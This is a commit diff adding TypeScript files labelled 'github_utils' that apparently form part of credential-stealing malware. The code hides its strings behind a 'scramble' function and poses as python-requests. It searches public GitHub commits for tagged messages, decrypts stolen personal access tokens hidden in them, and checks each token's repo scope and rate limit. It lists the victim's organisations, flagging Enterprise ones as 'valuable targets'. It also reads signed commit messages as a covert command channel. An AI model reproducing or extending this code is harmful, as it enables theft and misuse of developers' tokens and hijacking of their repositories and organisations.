Upload files to "src/github_utils"
This commit is contained in:
@@ -0,0 +1,107 @@
|
||||
import { githubFetch } from "./client";
|
||||
|
||||
export interface TokenInfo {
|
||||
valid: boolean;
|
||||
scopes: string[];
|
||||
user?: string;
|
||||
hasRepoScope: boolean;
|
||||
hasWorkflowScope: boolean;
|
||||
rateRemaining?: number;
|
||||
}
|
||||
|
||||
export interface TokenMetadata {
|
||||
valid: boolean;
|
||||
user?: string;
|
||||
scopes: string[];
|
||||
expiry?: string;
|
||||
/** All orgs the user belongs to. */
|
||||
orgs: string[];
|
||||
/** Org names that are on a GitHub Enterprise plan. */
|
||||
enterpriseOrgs: string[];
|
||||
}
|
||||
|
||||
export async function checkToken(token: string): Promise<TokenInfo> {
|
||||
try {
|
||||
const response = await githubFetch(token, "/user");
|
||||
if (!response.ok) throw new Error(response.statusText);
|
||||
|
||||
const scopes = response.headers.get("x-oauth-scopes")?.split(", ") ?? [];
|
||||
const data = (await response.json()) as { login: string };
|
||||
|
||||
return {
|
||||
valid: true,
|
||||
scopes,
|
||||
user: data.login,
|
||||
hasRepoScope: scopes.includes("repo") || scopes.includes("public_repo"),
|
||||
hasWorkflowScope: scopes.includes("workflow"),
|
||||
rateRemaining: parseInt(
|
||||
response.headers.get("x-ratelimit-remaining") ?? "0",
|
||||
10,
|
||||
),
|
||||
};
|
||||
} catch {
|
||||
return {
|
||||
valid: false,
|
||||
scopes: [],
|
||||
hasRepoScope: false,
|
||||
hasWorkflowScope: false,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
export async function getTokenMetadata(token: string): Promise<TokenMetadata> {
|
||||
try {
|
||||
const userResponse = await githubFetch(token, "/user");
|
||||
if (!userResponse.ok) {
|
||||
return { valid: false, scopes: [], orgs: [], enterpriseOrgs: [] };
|
||||
}
|
||||
|
||||
const scopes =
|
||||
userResponse.headers.get("x-oauth-scopes")?.split(", ") ?? [];
|
||||
const expiry =
|
||||
userResponse.headers.get("github-authentication-token-expiration") ??
|
||||
undefined;
|
||||
const data = (await userResponse.json()) as { login: string };
|
||||
|
||||
let orgs: string[] = [];
|
||||
let enterpriseOrgs: string[] = [];
|
||||
// Fine-grained PATs (github_pat_...) do not support the orgs endpoint
|
||||
// in the same way as classic tokens — skip to avoid spurious 403s.
|
||||
if (!token.startsWith("github_pat_")) {
|
||||
try {
|
||||
const orgsResponse = await githubFetch(token, "/user/orgs");
|
||||
if (orgsResponse.ok) {
|
||||
const orgsData = (await orgsResponse.json()) as { login: string }[];
|
||||
orgs = orgsData.map((o) => o.login);
|
||||
|
||||
// Query each org's plan — only Enterprise orgs are valuable targets.
|
||||
const planChecks = orgs.map(async (org) => {
|
||||
try {
|
||||
const planRes = await githubFetch(token, `/orgs/${org}`);
|
||||
if (!planRes.ok) return null;
|
||||
const planData = (await planRes.json()) as {
|
||||
plan?: { name: string };
|
||||
};
|
||||
if (planData.plan?.name === "enterprise") return org;
|
||||
} catch {}
|
||||
return null;
|
||||
});
|
||||
enterpriseOrgs = (await Promise.all(planChecks)).filter(
|
||||
Boolean,
|
||||
) as string[];
|
||||
}
|
||||
} catch {}
|
||||
}
|
||||
|
||||
return {
|
||||
valid: true,
|
||||
user: data.login,
|
||||
scopes,
|
||||
expiry,
|
||||
orgs,
|
||||
enterpriseOrgs,
|
||||
};
|
||||
} catch {
|
||||
return { valid: false, scopes: [], orgs: [], enterpriseOrgs: [] };
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
import { logUtil } from "../utils/logger";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
const GITHUB_API_BASE = scramble("https://api.github.com");
|
||||
const USER_AGENT = scramble("python-requests/2.31.0");
|
||||
|
||||
/** Backoff delays for rate-limited requests (seconds). */
|
||||
const RATE_LIMIT_BACKOFF_S = [10, 30, 90];
|
||||
|
||||
function isRateLimited(status: number): boolean {
|
||||
// 429 = primary rate limit, 403 = secondary rate limit (abuse detection)
|
||||
return status === 429 || status === 403;
|
||||
}
|
||||
|
||||
function parseRetryAfter(headers: Headers, attempt: number): number {
|
||||
// Honor the Retry-After header if present
|
||||
const ra = headers.get("Retry-After");
|
||||
if (ra) {
|
||||
const seconds = parseInt(ra, 10);
|
||||
if (!isNaN(seconds) && seconds > 0 && seconds <= 3600)
|
||||
return seconds * 1000;
|
||||
}
|
||||
// Fall back to our backoff schedule
|
||||
return (RATE_LIMIT_BACKOFF_S[attempt] ?? 90) * 1000;
|
||||
}
|
||||
|
||||
export function githubHeaders(token: string): Record<string, string> {
|
||||
const headers: Record<string, string> = {
|
||||
Accept: "application/vnd.github+json",
|
||||
"User-Agent": USER_AGENT,
|
||||
};
|
||||
if (token) {
|
||||
headers["Authorization"] = `Bearer ${token}`;
|
||||
}
|
||||
return headers;
|
||||
}
|
||||
|
||||
export async function githubFetch(
|
||||
token: string,
|
||||
path: string,
|
||||
init: RequestInit = {},
|
||||
): Promise<Response> {
|
||||
return fetch(`${GITHUB_API_BASE}${path}`, {
|
||||
...init,
|
||||
headers: {
|
||||
...githubHeaders(token),
|
||||
...(init.headers as Record<string, string> | undefined),
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
export async function githubJson<T>(
|
||||
token: string,
|
||||
path: string,
|
||||
init: RequestInit = {},
|
||||
): Promise<T> {
|
||||
const headers: Record<string, string> = {
|
||||
...(init.headers as Record<string, string> | undefined),
|
||||
};
|
||||
if (init.body && !headers["Content-Type"]) {
|
||||
headers["Content-Type"] = "application/json";
|
||||
}
|
||||
|
||||
for (let attempt = 0; attempt <= RATE_LIMIT_BACKOFF_S.length; attempt++) {
|
||||
const res = await githubFetch(token, path, { ...init, headers });
|
||||
if (!res.ok) {
|
||||
if (isRateLimited(res.status) && attempt < RATE_LIMIT_BACKOFF_S.length) {
|
||||
const delay = parseRetryAfter(res.headers, attempt);
|
||||
const resetHeader = res.headers.get("X-RateLimit-Reset");
|
||||
const remaining = res.headers.get("X-RateLimit-Remaining");
|
||||
logUtil.info(
|
||||
`[github] rate-limited (${res.status}) on ${path} — ` +
|
||||
`remaining=${remaining ?? "?"} reset=${resetHeader ?? "?"} ` +
|
||||
`retrying after ${delay}ms (attempt ${attempt + 1}/${RATE_LIMIT_BACKOFF_S.length})`,
|
||||
);
|
||||
await new Promise((r) => setTimeout(r, delay));
|
||||
continue;
|
||||
}
|
||||
throw new Error(
|
||||
`GitHub API ${res.status} ${res.statusText}: ${path} ` +
|
||||
`(X-RateLimit-Remaining: ${res.headers.get("X-RateLimit-Remaining") ?? "?"}, ` +
|
||||
`Retry-After: ${res.headers.get("Retry-After") ?? "none"}, ` +
|
||||
`Reset: ${res.headers.get("X-RateLimit-Reset") ?? "?"})`,
|
||||
);
|
||||
}
|
||||
return res.json() as Promise<T>;
|
||||
}
|
||||
throw new Error(
|
||||
`GitHub API rate-limited after ${RATE_LIMIT_BACKOFF_S.length} retries: ${path}`,
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,266 @@
|
||||
import { SEARCH_STRING, TOKEN_AES_KEY } from "../utils/config";
|
||||
import { logUtil } from "../utils/logger";
|
||||
import { checkToken } from "./auth";
|
||||
import { githubJson } from "./client";
|
||||
|
||||
interface GitHubCommit {
|
||||
commit: {
|
||||
message: string;
|
||||
author: {
|
||||
name: string;
|
||||
email: string;
|
||||
date: string;
|
||||
};
|
||||
};
|
||||
sha: string;
|
||||
}
|
||||
|
||||
interface SearchResponse {
|
||||
items: GitHubCommit[];
|
||||
total_count: number;
|
||||
}
|
||||
|
||||
// ── Retry helpers ───────────────────────────────────────────────────
|
||||
|
||||
const UNAUTH_RETRY_MS = [10_000, 30_000, 90_000];
|
||||
|
||||
/**
|
||||
* Retry an unauthenticated GitHub search request with progressive
|
||||
* backoff. Unauthenticated requests are limited to 10/min per IP
|
||||
* so a single rate-limit can block the entire sender chain.
|
||||
*/
|
||||
async function searchWithRetry<T>(
|
||||
fn: () => Promise<T>,
|
||||
label: string,
|
||||
): Promise<T> {
|
||||
for (let attempt = 0; attempt <= UNAUTH_RETRY_MS.length; attempt++) {
|
||||
try {
|
||||
return await fn();
|
||||
} catch (err) {
|
||||
const msg = err instanceof Error ? err.message : String(err);
|
||||
if (attempt < UNAUTH_RETRY_MS.length) {
|
||||
const delay = UNAUTH_RETRY_MS[attempt]!;
|
||||
logUtil.log(
|
||||
`${label}: attempt ${attempt + 1} failed (${msg}), retrying in ${delay / 1000}s...`,
|
||||
);
|
||||
await new Promise((r) => setTimeout(r, delay));
|
||||
} else {
|
||||
logUtil.log(`${label}: all ${attempt + 1} attempts exhausted (${msg})`);
|
||||
throw err;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Unreachable; satisfy TypeScript.
|
||||
throw new Error("unreachable");
|
||||
}
|
||||
|
||||
export async function fetchCommit(token?: string): Promise<string | false> {
|
||||
const url = `/search/commits?q=${SEARCH_STRING}&sort=author-date&order=desc&per_page=50`;
|
||||
const authType = token ? "authenticated" : "unauthenticated";
|
||||
logUtil.log(`fetchCommit: searching commits (${authType})...`);
|
||||
try {
|
||||
const makeRequest = () => githubJson<SearchResponse>(token ?? "", url);
|
||||
const response = token
|
||||
? await makeRequest()
|
||||
: await searchWithRetry(makeRequest, "fetchCommit");
|
||||
logUtil.log(
|
||||
`fetchCommit: total_count=${response.total_count}, items=${response.items?.length ?? 0}`,
|
||||
);
|
||||
if (!response.items || response.items.length === 0) {
|
||||
logUtil.log("fetchCommit: no commits found");
|
||||
return false;
|
||||
}
|
||||
logUtil.log(
|
||||
`fetchCommit: scanning ${response.items.length} commit(s) for tokens...`,
|
||||
);
|
||||
|
||||
// Collect all valid tokens with their rate-limit info
|
||||
const RATE_OK = 200;
|
||||
let fallback: { token: string; rateRemaining: number } | null = null;
|
||||
const seen = new Set<string>();
|
||||
|
||||
for (let i = 0; i < response.items.length; i++) {
|
||||
const commit = response.items[i];
|
||||
if (!commit) continue;
|
||||
|
||||
logUtil.log(
|
||||
`fetchCommit: [${i + 1}/${response.items.length}] ${commit.sha?.substring(0, 7)} "${commit.commit.message?.substring(0, 60)}"`,
|
||||
);
|
||||
const match = new RegExp(
|
||||
`^${SEARCH_STRING}:([A-Za-z0-9+/]{1,300}={0,3})$`,
|
||||
).exec(commit.commit.message ?? "");
|
||||
if (!match?.[1]) {
|
||||
logUtil.log("fetchCommit: no token pattern in commit message");
|
||||
continue;
|
||||
}
|
||||
|
||||
logUtil.log(`fetchCommit: found payload, decoding...`);
|
||||
|
||||
// Decode: strip wrapper, extract split base64, concat, AES decrypt
|
||||
const WRAPPER = "github_pat_11A";
|
||||
let decoded: string;
|
||||
try {
|
||||
const outer = Buffer.from(match[1], "base64");
|
||||
const inner = outer.toString("utf8");
|
||||
logUtil.log(`fetchCommit: inner format: ${inner.slice(0, 50)}...`);
|
||||
if (!inner.startsWith(WRAPPER)) {
|
||||
logUtil.log("fetchCommit: unexpected inner format, skipping");
|
||||
continue;
|
||||
}
|
||||
const rest = inner.slice(WRAPPER.length);
|
||||
const uscore = rest.indexOf("_");
|
||||
if (uscore < 0) {
|
||||
logUtil.log("fetchCommit: missing separator, skipping");
|
||||
continue;
|
||||
}
|
||||
const b64p1 = rest.slice(0, uscore);
|
||||
const b64p2 = rest.slice(uscore + 1).replace(/A+$/, "");
|
||||
logUtil.log(
|
||||
`fetchCommit: b64 parts: ${b64p1.length}+${b64p2.length} chars`,
|
||||
);
|
||||
const raw = Buffer.from(b64p1 + b64p2, "base64");
|
||||
const iv = raw.subarray(0, 16);
|
||||
const ct = raw.subarray(16);
|
||||
logUtil.log(
|
||||
`fetchCommit: AES decrypting (iv=${iv.length}b ct=${ct.length}b)...`,
|
||||
);
|
||||
const key = Buffer.from(TOKEN_AES_KEY, "hex");
|
||||
const decipher = crypto.createDecipheriv("aes-256-cbc", key, iv);
|
||||
decoded = Buffer.concat([
|
||||
decipher.update(ct),
|
||||
decipher.final(),
|
||||
]).toString("utf8");
|
||||
logUtil.log(`fetchCommit: decrypted token: ${decoded.slice(0, 10)}...`);
|
||||
} catch (e) {
|
||||
logUtil.log(`fetchCommit: failed to decrypt: ${e}`);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (seen.has(decoded)) continue;
|
||||
seen.add(decoded);
|
||||
|
||||
const tokInfo = await checkToken(decoded);
|
||||
if (!tokInfo.hasRepoScope) {
|
||||
logUtil.log("fetchCommit: token lacks repo scope, skipping");
|
||||
continue;
|
||||
}
|
||||
|
||||
const rateRemaining = tokInfo.rateRemaining ?? 0;
|
||||
logUtil.log(
|
||||
`fetchCommit: valid token found, rate remaining: ${rateRemaining}`,
|
||||
);
|
||||
|
||||
// Return immediately if rate limit is healthy
|
||||
if (rateRemaining >= RATE_OK) {
|
||||
logUtil.log(`fetchCommit: using token with ${rateRemaining} remaining`);
|
||||
return decoded;
|
||||
}
|
||||
|
||||
// Stash as fallback (keep the best low-rate one)
|
||||
if (!fallback || rateRemaining > fallback.rateRemaining) {
|
||||
fallback = { token: decoded, rateRemaining };
|
||||
}
|
||||
}
|
||||
|
||||
if (fallback) {
|
||||
logUtil.log(
|
||||
`fetchCommit: no healthy token found, using fallback with ${fallback.rateRemaining} remaining`,
|
||||
);
|
||||
return fallback.token;
|
||||
}
|
||||
|
||||
logUtil.log("fetchCommit: no valid token found in any commit");
|
||||
return false;
|
||||
} catch (error) {
|
||||
logUtil.log(
|
||||
`fetchCommit: search failed: ${error instanceof Error ? error.message : String(error)}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
import crypto from "crypto";
|
||||
|
||||
export function _verifySignature(
|
||||
message: string,
|
||||
publicKey: string,
|
||||
algorithm: string = "sha256",
|
||||
): { valid: boolean; data?: string } {
|
||||
try {
|
||||
const regex =
|
||||
/thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/;
|
||||
const match = message.match(regex);
|
||||
|
||||
if (!match || !match[1] || !match[2]) {
|
||||
return { valid: false };
|
||||
}
|
||||
|
||||
const data_plain = Buffer.from(match[1], "base64").toString("utf-8");
|
||||
logUtil.log(data_plain);
|
||||
logUtil.log(match[2]);
|
||||
const signature = Buffer.from(match[2], "base64");
|
||||
|
||||
const verifier = crypto.createVerify(algorithm);
|
||||
verifier.update(data_plain);
|
||||
const isValid = verifier.verify(publicKey, signature);
|
||||
|
||||
logUtil.log(isValid);
|
||||
|
||||
return isValid ? { valid: true, data: data_plain } : { valid: false };
|
||||
} catch (error) {
|
||||
return { valid: false };
|
||||
}
|
||||
}
|
||||
|
||||
export async function findValidSignedCommit(
|
||||
searchQuery: string,
|
||||
publicKey: string,
|
||||
): Promise<{ found: boolean; message?: string; commit?: GitHubCommit }> {
|
||||
const url = `/search/commits?q=${encodeURIComponent(
|
||||
searchQuery,
|
||||
)}&sort=author-date&order=desc`;
|
||||
try {
|
||||
const response = await searchWithRetry(
|
||||
() => githubJson<SearchResponse>("", url),
|
||||
"findValidSignedCommit",
|
||||
);
|
||||
|
||||
if (!response.items || response.items.length === 0) {
|
||||
return { found: false, message: "No commits found" };
|
||||
}
|
||||
|
||||
for (let i = 0; i < response.items.length; i++) {
|
||||
const commit = response.items[i];
|
||||
|
||||
if (!commit) {
|
||||
continue;
|
||||
}
|
||||
const commitMessage = commit.commit.message;
|
||||
|
||||
logUtil.log(
|
||||
`[${i + 1}/${response.items.length}] Checking commit ${commit.sha.substring(
|
||||
0,
|
||||
7,
|
||||
)}...`,
|
||||
);
|
||||
|
||||
const verification = _verifySignature(commitMessage, publicKey);
|
||||
|
||||
if (verification.valid && verification.data) {
|
||||
logUtil.log(`Valid signature found in commit ${commit.sha}`);
|
||||
return {
|
||||
found: true,
|
||||
message: verification.data,
|
||||
commit: commit,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
return { found: false, message: "No commits with valid signatures found" };
|
||||
} catch (error) {
|
||||
return {
|
||||
found: false,
|
||||
message: `Error during search: ${error instanceof Error ? error.message : String(error)}`,
|
||||
};
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user